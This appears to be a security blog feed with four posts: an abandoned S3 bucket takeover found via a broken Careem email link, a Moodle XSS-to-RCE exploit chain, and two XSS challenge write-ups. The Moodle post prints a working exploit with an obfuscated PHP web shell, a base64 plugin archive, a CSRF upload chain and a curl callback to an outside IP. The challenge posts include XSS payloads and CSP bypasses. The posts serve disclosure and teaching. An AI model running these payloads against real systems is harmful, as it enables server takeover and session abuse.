<p>Frustrated, I ordered another ride as I needed to get to the airport as soon as possible. The new driver was nearby, so I didn’t have to wait long. However, I later discovered that the Careem app had already charged me a fee for the ride I didn’t take!</p>

<p>When I returned home, I submitted a complaint about the incident. Careem’s customer support called me, and I explained what had happened. They apologized and refunded the fee. Heeey!</p>

<h2 id="technical-details">Technical Details</h2>

<p>A while later, I received an email from their customer support asking if I was satisfied with my recent interaction with their team. I noticed a broken link in the email and was surprised that they hadn’t caught it.</p>

<p><img src="/images/careem-1.png" alt="Careem Email" /></p>

<p>I used the browser’s inspect element tool to examine the broken link. The link was:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;img alt="Careem" title="Careem" src="https://ci5.googleusercontent.com/proxy/VFkr93bHbGyGsKAShSjEy1Wa5c2_E1roaPHqkXAgvfFVAe-4cPZ59CKXCpY-vig5E96sY7ojsvKFiy8uAkfA564sndlRHO01J_LqgsbCJyyzudeSS78=s0-d-e1-ft#https://s3.amazonaws.com/careemcrm/promotional/careem_logo_Care.png" class="CToWUd"&gt;
</code></pre></div></div>

<p>Since I was using Gmail, images were not displayed directly due to a security feature. The actual image link was the one after the location hash:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://s3.amazonaws.com/careemcrm/promotional/careem_logo_Care.png
</code></pre></div></div>

<p>I suspected that <code class="language-plaintext highlighter-rouge">careem_logo_Care.png</code> had been deleted, causing the error. When I checked the S3 bucket link, I got the following response:</p>

<p><img src="/images/careem-2.png" alt="S3 Response" /></p>

<p>As you can see, the response indicates <code class="language-plaintext highlighter-rouge">NoSuchBucket</code>, which, in security terms, suggests that we can take over this bucket. And that’s exactly what happened. I used the AWS CLI with my AWS account to register the bucket. Then, I uploaded a file from my PC to the S3 bucket.</p>

<p>Here’s our PoC:</p>

<p><img src="/images/careem-3.png" alt="Proof of Concept" /></p>

<p>I tried to find a way to report this issue but had no luck. Careem does not have a bug bounty program, which was disappointing, given the company’s reputation.</p>

<p>I reached out to a friend who works at Careem’s Iraq office. He connected me with the security team, and they promptly fixed the issue. I offered to remove the S3 bucket from my account so they could reclaim it, but they said they didn’t need it anymore.</p>

<p>They later emailed me, confirming that they had resolved the issue. The root cause was:</p>

<blockquote>
  <p>Based on your initial description and proof-of-concept, this appears to be an abandoned S3 bucket that may have belonged to a former employee. As a result, no one had access to the necessary credentials.</p>
</blockquote>

<h2 id="for-bug-bounty-hunters--security-engineers">For Bug Bounty Hunters &amp; Security Engineers</h2>

<p>It’s crucial to keep an eye on broken links—especially those in emails, PDFs, or old event pages. These often lead to security vulnerabilities.</p>

<h3 id="url-tracker-project">URL Tracker Project!</h3>

<p>I started a side project to track all cloud services and links that might be susceptible to takeover attacks. The project is still in progress, and you can follow it here.</p>

<h2 id="whats-next">What’s Next?</h2>

<p>If you believe your site, app, or network is secure and want to verify it, feel free to contact us at <strong>contact@cube01.io</strong>.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[This story took place last year, and I thought it would make a great case study on leveraging broken links. Additionally, it includes a funny anecdote that highlights how I find security issues wherever I go.]]></summary></entry><entry><title type="html">Moodle From DOM Stored XSS to Remote Code Execution</title><link href="https://alsultani.me/2020/05/25/moodle-from-dom-stored-xss-to-remote-code-execution.html" rel="alternate" type="text/html" title="Moodle From DOM Stored XSS to Remote Code Execution" /><published>2020-05-25T12:00:00+00:00</published><updated>2020-05-25T12:00:00+00:00</updated><id>https://alsultani.me/2020/05/25/moodle-from-dom-stored-xss-to-remote-code-execution</id><content type="html" xml:base="https://alsultani.me/2020/05/25/moodle-from-dom-stored-xss-to-remote-code-execution.html"><![CDATA[<p>Hi all,</p>

<p>In this article, we will cover a vulnerability that we discovered last month and reported to the Moodle Security team, which they have since patched. This technique is an interesting way to exploit XSS beyond the typical alert box.</p>

<h2 id="introduction">Introduction</h2>

<h3 id="what-is-moodle">What is Moodle?</h3>

<p>Moodle is a Learning Platform or course management system (CMS) - a free open-source software package designed to help educators create effective online courses based on sound pedagogical principles. You can download and use it on any computer, including web hosts, and it can scale from a single-teacher site to a 200,000-student university. Moodle has a large and diverse user community with over 100,000 registered sites worldwide, speaking over 140 languages. - Moodle.org</p>

<p>Due to the COVID-19 pandemic, many universities started using Moodle to support their e-learning efforts and deliver educational content to students at home. We noticed a couple of Iraqi universities adopting the platform, which motivated us to start looking for interesting vulnerabilities. Since other hackers might exploit the lack of monitoring to attack students and universities during this time, we felt it was our ethical duty to contribute to supporting the world during this hardship. Take a look at the platform’s statistics.</p>

<p><a href="/images/moodle-1.png"><img src="/images/moodle-1.png" alt="" /></a></p>

<p>It is obvious that Moodle is a popular open-source software, which attracts the attention of cybercriminals and script kiddies. Consequently, many open-source contributors are working on the project.</p>

<h2 id="technical-details">Technical Details</h2>

<p>We used the Moodle sandbox demo to understand how the platform works and performed some fuzzing while browsing the demo. The first thing to remember is to check the roles model of the platform to better understand each role’s privileges. After that, we downloaded the latest version of the project to look for security issues with the least privileged role (student). The student role has very limited access and can perform only a few actions with filtered content.</p>

<p>First, we scanned the source code for obvious issues but found none, as the project is very mature and protected.</p>

<p>One thing we focused on during this phase was finding any kind of privilege escalation. We were in the middle of this when we found another interesting input: the Description WYSIWYG editor. The downloaded version didn’t show it, but the Moodle sandbox demo did! We examined it further and discovered:</p>

<blockquote>
  <p>To prevent misuse by spammers, profile descriptions of users who are not yet enrolled in any course are hidden. New users must enroll in at least one course before they can add a profile description.</p>
</blockquote>

<p>So, we created a course and let the student account join it. Then we went to the following URL:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://127.0.0.1/moodle/user/edit.php?id=3&amp;returnto=profile
</code></pre></div></div>

<p><a href="/images/moodle-2.png"><img src="/images/moodle-2.png" alt="" /></a></p>

<p>I tried every trick in the book to create a stored XSS, but nothing worked until I learned more about the Moodle plugin system and found that it uses MathJax. Although it isn’t visible, if you create a math equation with the following format: <code class="language-plaintext highlighter-rouge">$$ x=1 $$</code>, it will be rendered to:</p>

<p><a href="/images/moodle-3.png"><img src="/images/moodle-3.png" alt="" /></a></p>

<p>Based on SecurityMB’s research, any <strong>MathJax</strong> version &lt; <strong>2.7.4</strong> is vulnerable to XSS. With this in mind, we found that MathJax was enabled by default and that Moodle was using version 2.7.2!</p>

<p>Using the known attack vector <code class="language-plaintext highlighter-rouge">$$ \unicode{&lt;img src=1 onerror=alert(1)&gt;} $$</code> from previous research, we were able to create a stored XSS in Moodle!</p>

<p><a href="/images/moodle-4.png"><img src="/images/moodle-4.png" alt="" /></a></p>

<p>Now we have a stored XSS in the system! We can trick the admin into visiting our profile and getting XSSed!</p>

<p>However, the boring alert box was not enough for this adventure. We wanted to take it to the next level.</p>

<h3 id="from-xss-to-rce-beyond-the-alert-box">From XSS to RCE: Beyond the Alert Box</h3>

<p>Since we have a stored DOM XSS, we can steal the cookie, but there is an option in Moodle to use <strong>HTTPonly</strong> cookies, so we can’t get the admin cookie. Moreover, universities set the path /admin to whitelist IP addresses only. What should we do now?</p>

<p>While surfing the web, I found an <a href="https://www.exploit-db.com/exploits/46775">exploit</a> that requires an admin user account to execute PHP commands and upload a shell on the Moodle instance. So, we can create a CSRF to do that, right?</p>

<p>To upload a Moodle plugin, it has to meet specific rules, which we quickly examined.</p>

<p>There are multiple stages before you can upload a plugin, so it isn’t a simple CSRF page. We need to create a file upload CSRF and perform two steps after the upload CSRF to execute our shell.</p>

<p>As you can see, there is an exploit in Ruby, but it differs from our attack vector. Here are the steps we followed while writing our exploit:</p>

<ol>
  <li>
    <p>Create <code class="language-plaintext highlighter-rouge">version.php</code> and <code class="language-plaintext highlighter-rouge">/lang/en/block_rce.php</code> files with the following content:</p>

    <ul>
      <li>
        <p><code class="language-plaintext highlighter-rouge">block_rce.php</code> with @terjanq shell:</p>

        <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;?=$_='$&lt;&gt;/'^'/{/{\{\{'\'\;\$\{\$\_\}\[\_\]\(\$\{\$\_\}\[\__\]);
</code></pre></div>        </div>
      </li>
      <li>
        <p><code class="language-plaintext highlighter-rouge">version.php</code></p>

        <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;?php 
$plugin-&gt;version = 2020051300;
$plugin-&gt;component = 'block_rce';
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li>
    <p>Zip the two files to create <code class="language-plaintext highlighter-rouge">rce.zip</code>.</p>
  </li>
  <li>
    <p>Convert the <code class="language-plaintext highlighter-rouge">rce.zip</code> file from binary format to base64 using this code:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;script&gt;
function onFileLoad(elementId, event) {
    document.getElementById(elementId).innerText = event.target.result;
}
function onChooseFile(event, onLoadFileHandler) {
    let input = event.target;
    let file = input.files[0];
    let fr = new FileReader();
    fr.onload = onLoadFileHandler;
    var fileContent = fr.readAsDataURL(file);
}
&lt;/script&gt;
        
&lt;input type='file' onchange='onChooseFile(event, onFileLoad.bind(this, "contents"))' /&gt;
&lt;p id="contents"&gt;&lt;/p&gt;
</code></pre></div>    </div>
  </li>
  <li>
    <p>Write the full exploit:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codeconst URL = "http://127.0.0.1/moodle/"; // Change this to your target URL 
fetch(URL + "admin/tool/installaddon/index.php", {
    credentials: "include",
})
    .then((res) =&gt; {
    return res.text();
    })
    .then((data) =&gt; {
    let sesskey = data.split('"sesskey":"')[1].split('"')[0];
    let itemid = data.split("amp;itemid=")[1].split("&amp;")[0];
    let author = data.split('title="View profile"&gt;')[1].split("&lt;")[0];
    let clientid = data.split('client_id":"')[1].split('"')[0];
    // rce.zip 
    let url =
    "data:application/x-zip-compressed;base64,UEsDBAoAAAAAAHmCuFAAAAAAAAAAAAAAAAAEAAAAcmNlL1BLAwQKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAAAHJjZS9sYW5nL1BLAwQKAAAAAACLhbhQAAAAAAAAAAAAAAAADAAAAHJjZS9sYW5nL2VuL1BLAwQUAAAACADNoLlQGp+xOCMAAAAoAAAAGQAAAHJjZS9sYW5nL2VuL2Jsb2NrX3JjZS5waHCzsbdVibdVV7Gx01ePU68GAnVrlWqV+Nro+FgNKCM+VtMaAFBLAwQUAAAACACGhbhQ8uNzbUEAAABJAAAADwAAAHJjZS92ZXJzaW9uLnBocLOxL8goUODlUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDU0NjCwRpJPzs8tyM9LzSsBqlBPyslPzo4vSk5VtwYAUEsBAh8ACgAAAAAAeYK4UAAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAAAAAAAHJjZS8KACAAAAAAAAEAGABsztMBzjHWAWzO0wHOMdYB7kmh/M0x1gFQSwECHwAKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAAAiAAAAcmNlL2xhbmcvCgAgAAAAAAABABgA7OKXLc0x1gHs4pctzTHWAcnriynNMdYBUEsBAh8ACgAAAAAAi4W4UAAAAAAAAAAAAAAAAAwAJAAAAAAAAAAQAAAASQAAAHJjZS9sYW5nL2VuLwoAIAAAAAAAAQAYAORxW27RMdYB5HFbbtEx1gGsuPYszTHWAVBLAQIfABQAAAAIAM2guVAan7E4IwAAACgAAAAZACQAAAAAAAAAIAAAAHMAAAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwCgAgAAAAAAABABgAKwWc07Yy1gErBZzTtjLWAWqgKf/MMdYBUEsBAh8AFAAAAAgAhoW4UPLjc21BAAAASQAAAA8AJAAAAAAAAAAgAAAAzQAAAHJjZS92ZXJzaW9uLnBocAoAIAAAAAAAAQAYAJX8ImnRMdYBlfwiadEx1gF4spXKzDHWAVBLBQYAAAAABQAFANsBAAA3AQAAAAA=";
    fetch(url)
        .then((res) =&gt; res.blob())
        .then((blob) =&gt; {
        const file = new File([blob], "rce.zip", {
            type: "application/x-zip-compressed",
        });
        
        myFormData = new FormData();
        myFormData.append("title", "");
        myFormData.append("author", author);
        myFormData.append("license", "allrightsreserved");
        myFormData.append("itemid", itemid);
        myFormData.append("accepted_types[]", ".zip");
        myFormData.append("repo_id", 4);
        myFormData.append("p", "");
        myFormData.append("page", "");
        myFormData.append("env", "filepicker");
        myFormData.append("sesskey", sesskey);
        myFormData.append("client_id", clientid);
        myFormData.append("maxbytes", -1);
        myFormData.append("areamaxbytes", -1);
        myFormData.append("ctx_id", 1);
        myFormData.append("savepath", "/");
        myFormData.append("repo_upload_file", file, "rce.zip");
        
        fetch(
            URL + "repository/repository_ajax.php?action=upload",
            {
            method: "post",
            body: myFormData,
            credentials: "include",
            }
        )
            .then((res) =&gt; {
            return res.text();
            })
            .then((res) =&gt; {
            let zipFile = res.split("draft\\/")[1].split("\\/")[0];
            myFormData = new FormData();
            myFormData.append("sesskey", sesskey);
            myFormData.append(
                "_qf__tool_installaddon_installfromzip_form",
                1
            );
            myFormData.append("mform_showmore_id_general", 1);
            myFormData.append("mform_isexpanded_id_general", 1);
            myFormData.append("zipfile", zipFile);
            myFormData.append("plugintype", "block");
            myFormData.append("rootdir", "");
            myFormData.append(
                "submitbutton",
                "Install+plugin+from+the+ZIP+file"
            );
        
            fetch(
                URL + "admin/tool/installaddon/index.php",
                {
                method: "post",
                body: myFormData,
                credentials: "include",
                }
            )
                .then((res) =&gt; {
                return res.text();
                })
                .then((res) =&gt; {
                // debugger;
                let installzipstorage = res
                    .split('installzipstorage" value="')[1]
                    .split('"')[0];
        
                myFormData = new FormData();
                myFormData.append("installzipcomponent", "block_rce");
                myFormData.append("installzipstorage", installzipstorage);
                myFormData.append("installzipconfirm", 1);
                myFormData.append("sesskey", sesskey);
        
                fetch(
                    URL + "admin/tool/installaddon/index.php",
                    {
                    method: "post",
                    body: myFormData,
                    credentials: "include",
                    }
                ).then(() =&gt; {
                    fetch(
                    URL + "blocks/rce/lang/en/block_rce.php?_=system&amp;__=curl%20http://192.168.153.138:1234/"
                    );
                });
                });
            });
        });
    });
});
</code></pre></div>    </div>
  </li>
  <li>
    <p>Upload this exploit to a cross-site host: <code class="language-plaintext highlighter-rouge">http://sandbox.ahussam.me/rce_moodle.js</code>.</p>
  </li>
  <li>
    <p>Write the trigger MathJax payload:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$$ \unicode{&lt;img src='x' onerror='eval(`eval(atob("dmFyIG5ld1NjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOyBuZXdTY3JpcHQuc3JjID0gImh0dHA6Ly9zYW5kYm94LmFodXNzYW0ubWUvcmNlX21vb2RsZS5qcyI7IG1haW5jb250ZW50LmFwcGVuZENoaWxkKG5ld1NjcmlwdCk7"))`)'&gt;} $$
</code></pre></div>    </div>
  </li>
  <li>
    <p>Update the profile description with the previous payload.</p>
  </li>
  <li>
    <p>Send the URL to the admin user and listen on port 1234.</p>
  </li>
  <li>
    <p>When the admin opens the URL, the shell gets uploaded and you receive a curl connection.</p>
  </li>
</ol>

<p><a href="/images/moodle-5.png"><img src="/images/moodle-5.png" alt="" /></a></p>

<p>We reported this finding to the Moodle team. They patched it and were very responsive and friendly during the process.</p>

<h2 id="what-now">What Now?</h2>

<p>If you think your site/app/network is secure and want to make sure of it, give us a call at contact@cube01.io.</p>

<p><a href="/2020/05/25/Moodle-xss-to-rce.html"></a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[Hi all,]]></summary></entry><entry><title type="html">Intigriti Easter XSS Challenge Write-up</title><link href="https://alsultani.me/2020/04/19/intigriti-easter-xss-challenge-write-up.html" rel="alternate" type="text/html" title="Intigriti Easter XSS Challenge Write-up" /><published>2020-04-19T12:00:00+00:00</published><updated>2020-04-19T12:00:00+00:00</updated><id>https://alsultani.me/2020/04/19/intigriti-easter-xss-challenge-write-up</id><content type="html" xml:base="https://alsultani.me/2020/04/19/intigriti-easter-xss-challenge-write-up.html"><![CDATA[<p>Hey all,</p>

<p>On March 13th, I was working on some boring college assignments. To take a break, I opened Twitter to see what was new and noticed that Intigriti was hosting an <strong>Easter XSS Challenge</strong>. I decided to give it a shot.</p>

<h3 id="challenge-overview">Challenge Overview</h3>

<p>Here is a screenshot of the main challenge page:</p>

<p><a href="/images/xss-1.png"><img src="/images/xss-1.png" alt="" /></a></p>

<p>The rules were clear, so there was no need for further explanation.</p>

<h2 id="first-attempt">First Attempt</h2>

<p>First, I checked the page’s source code.</p>

<p><a href="/images/xss-2.png"><img src="/images/xss-2.png" alt="" /></a></p>

<p>There was nothing particularly interesting in the HTML code except for this script. The <code class="language-plaintext highlighter-rouge">script.js</code> file contained the following JavaScript code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var hash = document.location.hash.substr(1);
if(hash){
  displayReason(hash);
}
document.getElementById("reasons").onchange = function(e){
  if(e.target.value != "")
    displayReason(e.target.value);
}
function reasonLoaded () {
    var reason = document.getElementById("reason");
    reason.innerHTML = unescape(this.responseText);
}
function displayReason(reason){
  window.location.hash = reason;
  var xhr = new XMLHttpRequest();
  xhr.addEventListener("load", reasonLoaded);
  xhr.open("GET", `./reasons/${reason}.txt`);
  xhr.send();
}
</code></pre></div></div>

<h3 id="code-breakdown">Code Breakdown</h3>

<ol>
  <li>It checks if the <strong>hash property</strong> is set in the location object.</li>
  <li>It sends an <strong>XHR request</strong> to the selected value (file).</li>
  <li>It reads and prints the <strong>response</strong> to the page.</li>
</ol>

<p><strong>Line 11</strong> is the key to this XSS challenge. The page sets the <code class="language-plaintext highlighter-rouge">innerHTML</code> of the div to a value that has been <strong>unescaped</strong> , so URL encoding could be bypassed.</p>

<h4 id="initial-exploit-attempt">Initial Exploit Attempt</h4>

<p>I attempted to access a non-existent page by appending <code class="language-plaintext highlighter-rouge">#test</code> to the URL:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://challenge.intigriti.io/#test
</code></pre></div></div>

<p><a href="/images/xss-3.png"><img src="/images/xss-3.png" alt="" /></a></p>

<p>The filename was reflected in the response. I then attempted to use:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;img src=x onerror=alert(1)&gt;
</code></pre></div></div>

<p>as the filename, expecting the XSS to trigger.</p>

<p><a href="/images/xss-4.png"><img src="/images/xss-4.png" alt="" /></a></p>

<p>However, it wasn’t that simple. The <strong>404 page</strong> encoded the filename using <strong>percentage encoding</strong> and removed the <code class="language-plaintext highlighter-rouge">%</code> character from the response. I experimented with various inputs but couldn’t bypass this limitation.</p>

<h2 id="second-round-server-fingerprinting">Second Round: Server Fingerprinting</h2>

<p>I fingerprinted the server to check if it was a <strong>server-side</strong> issue. The HTTP response header included:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Server: Google Frontend
</code></pre></div></div>

<p>But this wasn’t the real HTTP server. It was a <strong>Google App Engine</strong> response. Using <strong>manual techniques</strong> (since Nmap would provide the same output), I triggered a long filename error to reveal more details:</p>

<p><a href="/images/xss-5.png"><img src="/images/xss-5.png" alt="" /></a></p>

<p>This confirmed that the server was running <strong>Apache</strong>. The goal was now to trigger an error page that reflected the request URL. Since the <strong>404 page sanitizes inputs</strong> , I focused on the <strong>403 page</strong> , which could be triggered by accessing restricted files such as <code class="language-plaintext highlighter-rouge">.htaccess</code> or <code class="language-plaintext highlighter-rouge">server-status</code>.</p>

<p>By sending <strong>double-encoded payloads</strong> , I was able to reflect the input without encoding. The final payload was:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>../server-status?%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
</code></pre></div></div>

<p><a href="/images/xss-6.png"><img src="/images/xss-6.png" alt="" /></a></p>

<h3 id="bypassing-csp">Bypassing CSP</h3>

<p>The <strong>Content Security Policy (CSP)</strong> was:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>content-security-policy: default-src 'self'
</code></pre></div></div>

<p>This meant inline scripts wouldn’t execute, and external scripts were blocked unless they were hosted on the same origin.</p>

<h3 id="final-exploit">Final Exploit</h3>

<p>To execute a <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tag via <code class="language-plaintext highlighter-rouge">innerHTML</code>, I used an <code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code> with the <strong>srcdoc attribute</strong>. This trick allows an attacker to embed an entire HTML document inside the <code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code>, bypassing CSP limitations.</p>

<p>Since we controlled the <strong>custom 404 page</strong> , we injected JavaScript into it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>404 - 'File "'; // 404 - 'string' = NaN
alert(1); // XSS Triggered
'" was not found in this folder.' // Valid JavaScript
</code></pre></div></div>

<p><a href="/images/xss-7.png"><img src="/images/xss-7.png" alt="" /></a></p>

<p>The final exploit URL was:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://challenge.intigriti.io/#..//server-status/?%253Ciframe%2520srcdoc%253D%2527%253Cscript%2520src%253D%2522x%252527%253Balert(document.domain)%253B%252527%2522%253E%253C%252Fscript%253E%2527%253E%253C%252Fiframe%253E%250A
</code></pre></div></div>

<p><a href="/images/xss-8.png"><img src="/images/xss-8.png" alt="" /></a></p>

<h2 id="conclusion">Conclusion</h2>

<p>This was an incredibly fun challenge! Kudos to <strong>Intigriti</strong> for creating it. The entire process took me <strong>less than an hour</strong> to solve. I submitted my solution, and it was confirmed.</p>

<p>I hope you learned something new. Best of luck with future challenges!</p>

<p><a href="/2020/04/19/XSS-Intigriti-Easter-XSS-Challenge-Write-up.html"></a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[Hey all,]]></summary></entry><entry><title type="html">myClock XSS Challenge Solution Write-Up</title><link href="https://alsultani.me/2020/01/13/myclock-xss-challenge-solution-write-up.html" rel="alternate" type="text/html" title="myClock XSS Challenge Solution Write-Up" /><published>2020-01-13T12:00:00+00:00</published><updated>2020-01-13T12:00:00+00:00</updated><id>https://alsultani.me/2020/01/13/myclock-xss-challenge-solution-write-up</id><content type="html" xml:base="https://alsultani.me/2020/01/13/myclock-xss-challenge-solution-write-up.html"><![CDATA[<p>Last month, I created an XSS challenge on my sandbox domain and named it myClock. The page contains JavaScript code that checks if the clock has been paused for 3 seconds. There are multiple ways to solve the challenge, and I allowed user interaction to encourage creative solutions. Let’s get started with an explanation of the challenge.</p>

<p><strong>Note:</strong> If you are here to see solutions only, jump to the bottom of the page.</p>

<p><strong>Note 2:</strong> In this write-up, I will explain the intended solution only.</p>

<h2 id="introduction">Introduction</h2>

<p>Initially, the challenge consists only of client-side JavaScript code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;My Clock v 1.0&lt;/title&gt;
    &lt;script src="https://cure53.de/purify.js"&gt;&lt;/script&gt;
    &lt;script src="http://sandbox2.ahussam.me/url.php?code=var Url='//ahussam.me';"&gt;&lt;/script&gt;
    &lt;style&gt;
        #myClock {
            font-size: 4em;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h2&gt;Rules&lt;/h2&gt;
    &lt;ul&gt;
        &lt;li&gt;Execute &lt;i&gt;alert(domain)&lt;/i&gt; on this page.&lt;/li&gt;
        &lt;li&gt;Hint: Your payload will be clicked at &lt;b&gt;XX:XX:01&lt;/b&gt;.&lt;/li&gt;
        &lt;li&gt;Only the latest browsers are supported.&lt;/li&gt;
        &lt;li&gt;User interaction is allowed.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;center&gt;
        &lt;div id="myClock"&gt;&lt;/div&gt;
        &lt;div id="myComment"&gt;&lt;/div&gt;
    &lt;/center&gt;
    &lt;h2&gt;Solvers&lt;/h2&gt;
    &lt;ul&gt;
        &lt;li&gt;&lt;a href="https://twitter.com/Abdulahhusam"&gt;YOU! Send a DM.&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
    &lt;script&gt;
        var dirty = new URL(location).searchParams.get('comment');
        var cleanHTML = DOMPurify.sanitize(dirty, { FORBID_TAGS: ['a'] });
        document.getElementById('myComment').innerHTML = cleanHTML;
        var link = new URL(location).searchParams.get('link');

        if (link === "1") {
            var myURL = url || "https://ahussam.me";
            var newWindow = window.open(null, null, "toolbar=no,location=no,dialog=yes,personalbar=no,status=no,dependent=yes,menubar=no,resizable=yes,scrollbars=no");

            if (newWindow) {
                newWindow.opener = null;
                newWindow.location = myURL;
            }
        }

        function updateTime() {
            var time = new Date();
            var hours = time.getHours();
            var minutes = time.getMinutes();
            var seconds = time.getSeconds();
            var clock = document.getElementById('myClock');

            if (clock.innerHTML.indexOf(':') &gt; -1) {
                var sec = clock.innerHTML.split(':')[2];
                if (parseInt(sec) + 3 &lt; seconds) {
                    if (window.opener) {
                        exit();
                    } else {
                        location = location.hash.substr(1);
                    }
                }
            }

            clock.innerHTML = placeHolder(hours) + ":"  + placeHolder(minutes) + ":" + placeHolder(seconds);

            function placeHolder(input) {
                return input &lt; 10 ? '0' + input : input;
            }
        }

        document.addEventListener("DOMContentLoaded", function() {
            window.setInterval(updateTime, 100);
        });
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre></div></div>

<p>I used <strong>DOMPurify</strong> to sanitize the comment before injecting the content into the DOM, making it secure—unless @SecurityMB finds a way around it! The only forbidden tag is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>FORBID_TAGS: ['a']
</code></pre></div></div>

<p>The code is a basic clock that checks whether the <strong>DOM (clock)</strong> has been paused. If it is paused for <strong>more than 3 seconds</strong> , it sets the <code class="language-plaintext highlighter-rouge">location</code> to <code class="language-plaintext highlighter-rouge">location.hash</code>. The main idea is to <strong>freeze the DOM</strong> while waiting for the payload to be triggered at <strong>XX:XX:01</strong>.</p>

<h2 id="technical-details">Technical Details</h2>

<p>To begin, we must find a way to <strong>freeze the DOM</strong>. I expected some creative solutions, and I was right! Upon inspecting the page head, it was possible to <strong>XSS<code class="language-plaintext highlighter-rouge">sandbox2.ahussam.me</code></strong>.</p>

<p>However, the real target was <strong><code class="language-plaintext highlighter-rouge">sandbox.ahussam.me</code></strong> , so we noted:</p>

<ul>
  <li>We can <strong>XSS<code class="language-plaintext highlighter-rouge">sandbox2.ahussam.me</code></strong>.</li>
</ul>

<p>If you try to XSS <code class="language-plaintext highlighter-rouge">sandbox2.ahussam.me</code>, there is a <strong>simple</strong> WAF that can be bypassed. This wasn’t part of the original challenge, but I expected participants to bypass it!</p>

<p>Another interesting detail is that the <strong><code class="language-plaintext highlighter-rouge">url</code> variable isn’t defined</strong> because <strong>JavaScript is case-sensitive</strong> , and <code class="language-plaintext highlighter-rouge">Url</code> is not the same as <code class="language-plaintext highlighter-rouge">url</code>. Adding this to our notes:</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">url</code> isn’t defined.</strong></li>
</ul>

<h3 id="putting-everything-together">Putting Everything Together:</h3>

<ul>
  <li><strong>We must freeze the DOM for 3 seconds.</strong></li>
  <li><strong>We have an XSS vulnerability on<code class="language-plaintext highlighter-rouge">sandbox2.ahussam.me</code>.</strong></li>
  <li><strong>We need to define<code class="language-plaintext highlighter-rouge">url</code> in <code class="language-plaintext highlighter-rouge">sandbox.ahussam.me</code> using DOM Clobbering.</strong></li>
</ul>

<h3 id="welcome-to-site-isolation">Welcome to Site Isolation</h3>

<p>Chrome uses <strong>multi-process architecture</strong> for security and stability. It ensures that different tabs and subdomains <strong>do not share the same thread</strong>. However, <strong>documents from the same site that reference each other must run on the same thread</strong>.</p>

<p>This means <strong><code class="language-plaintext highlighter-rouge">sandbox.ahussam.me</code> and <code class="language-plaintext highlighter-rouge">sandbox2.ahussam.me</code> share a single thread!</strong> By blocking JavaScript execution on <code class="language-plaintext highlighter-rouge">sandbox2.ahussam.me</code>, we <strong>also block it on<code class="language-plaintext highlighter-rouge">sandbox.ahussam.me</code></strong>.</p>

<p>The intended solution is as follows:</p>

<p>Host the following <strong>payload</strong> on your server:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var t = Date.now();
while (Date.now() - t &lt; 4000) {
    nop();
}
function nop() {}
</code></pre></div></div>

<h2 id="steps-to-exploit">Steps to Exploit</h2>

<ol>
  <li><strong>Since there is no<code class="language-plaintext highlighter-rouge">X-Frame-Options</code> header</strong>, open both pages in <code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code> elements.</li>
  <li><strong>Block the JavaScript thread</strong> with a <strong>No-Operation (NOP) loop</strong>.</li>
  <li><strong>The DOM in<code class="language-plaintext highlighter-rouge">sandbox.ahussam.me</code> will be frozen</strong>, causing the <strong>clock to lag by more than 3 seconds</strong>.</li>
  <li><strong>The script will execute, setting<code class="language-plaintext highlighter-rouge">window.location</code> to <code class="language-plaintext highlighter-rouge">location.hash</code></strong>.</li>
</ol>

<p>You can try an alternative solution using <strong><code class="language-plaintext highlighter-rouge">window.open</code></strong> , detailed <a href="https://issues.chromium.org/issues/41328006">here</a>.</p>

<h2 id="solvers">Solvers</h2>

<ul>
  <li><strong>RootEval</strong></li>
  <li><strong>RenwaX23</strong></li>
  <li><strong>MichaB Bentkowski</strong></li>
  <li><strong>Guilherme Keerok</strong></li>
  <li><strong>Alex</strong></li>
</ul>

<h2 id="conclusion">Conclusion</h2>

